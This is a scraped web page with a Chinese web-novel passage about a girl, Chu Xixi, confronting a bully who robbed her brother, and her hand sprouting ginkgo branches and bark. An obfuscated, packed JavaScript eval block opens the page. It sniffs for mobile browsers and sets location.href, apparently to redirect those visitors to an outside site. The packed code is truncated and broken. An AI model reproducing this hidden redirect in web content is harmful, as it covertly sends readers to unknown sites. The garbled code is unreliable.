;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344870|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了吗?这就是反抗我的后果。” 褚兰拿着小悟的手表上下摇晃。 “你劫过小悟?” “废话。” 思及她和楚乐正在交往,我不可思议的问出口:“可是你跟楚乐的关系……” “关系?关系怎么了?”褚兰丝毫没有觉得不妥,胳膊肘搭在旁边男生的肩膀上,满脸都写着不以为意。“我正在和乐乐交往没错,可是这和你们有什么关系?连他自个儿都不想和你们有关系,你们就不要上赶着往上贴了。楚夕夕,我缺钱啊,你们家这么有钱,我怎么会放过这个好机会呢?” 我不知道褚兰和小悟还有这么一段纠葛,他没告诉我,爸妈事后也未曾提到过,估计也不知道。我心里有了不好的猜想,只是还不敢确定。 “你不怕小悟回家告状吗?你也说了,我们家很有钱,爸妈很宠爱小悟,你不怕他们来找你麻烦吗?” 褚兰看了眼围在我们周围的人,很轻蔑地用鼻腔哼了声,“有乐乐在,楚小悟说不出来的。即便乐乐那边出了意外,我也有办法让他闭嘴。” 她的这番话大大加深了嫌疑。她要是真的劫过小悟的话,以小悟的性情是绝对不会服软的,事态发展成褚兰或者楚乐借此缘故杀死小悟也并非完全不可能。 “不对……你为什么要告诉我?” “楚夕夕,你知道为什么常柳那个蠢货的报复不起作用吗?因为没有人敢与你们为伍。而我呢,我从来都不是一个人。逃吧,就算是逃到地狱里,你们也躲不掉被人踩在脚底的命运。”褚兰嫌弃地转过身,对一个蓝色头发的女生说:“好好收拾一下,待会儿去找下一个目标。” 基于对杀人犯的怨恨,我胸腔里已经积满了怒火。那个女生一步步逼近我,我用手撑着身体往后退,直到手指摸到冰冷的墙壁,我才发现自己早已退无可退。 她活动着双手,指关节咔咔发出声响。片刻过后,那只手握成拳头,用力朝我脸上砸来。 完蛋了,她居然直接往我脸上打,真就笃定我不敢说出来。我心里这样想着,右手横在额前试图挡住她的拳头。 想象中的疼痛没有降临,只听到那个女生惊呼出声,随即是周围人的咆哮。 “她身上掉下来的是什么?” “这是什么怪物?吓死我了。” “要不我们先走?” “褚兰,你招惹的什么东西?” “我哪知道?别废话,撤!” 身边围着的人迅速离开,我缓缓把手从头顶往下移动。 这时我才发现,我手心的银杏叶竟然已经长成树枝,脚底下多出许多金黄色的银杏叶,手臂和脖子上出现变硬的皮肤,质感近乎树皮…… 我在原地愣了半晌,眼睁睁看着左手手心的树枝慢慢缩小,直至变回一片脆弱的银杏叶。 身上的树皮没有因此消失,我拢紧领口,把手缩进袖管里跑开。 一路上人来人往,我没有选择回家,而是往公园的方向飞奔而去。现在这个样子回家肯定会惹出麻烦,不如先去公园旁边的废弃工厂暂避一下风头。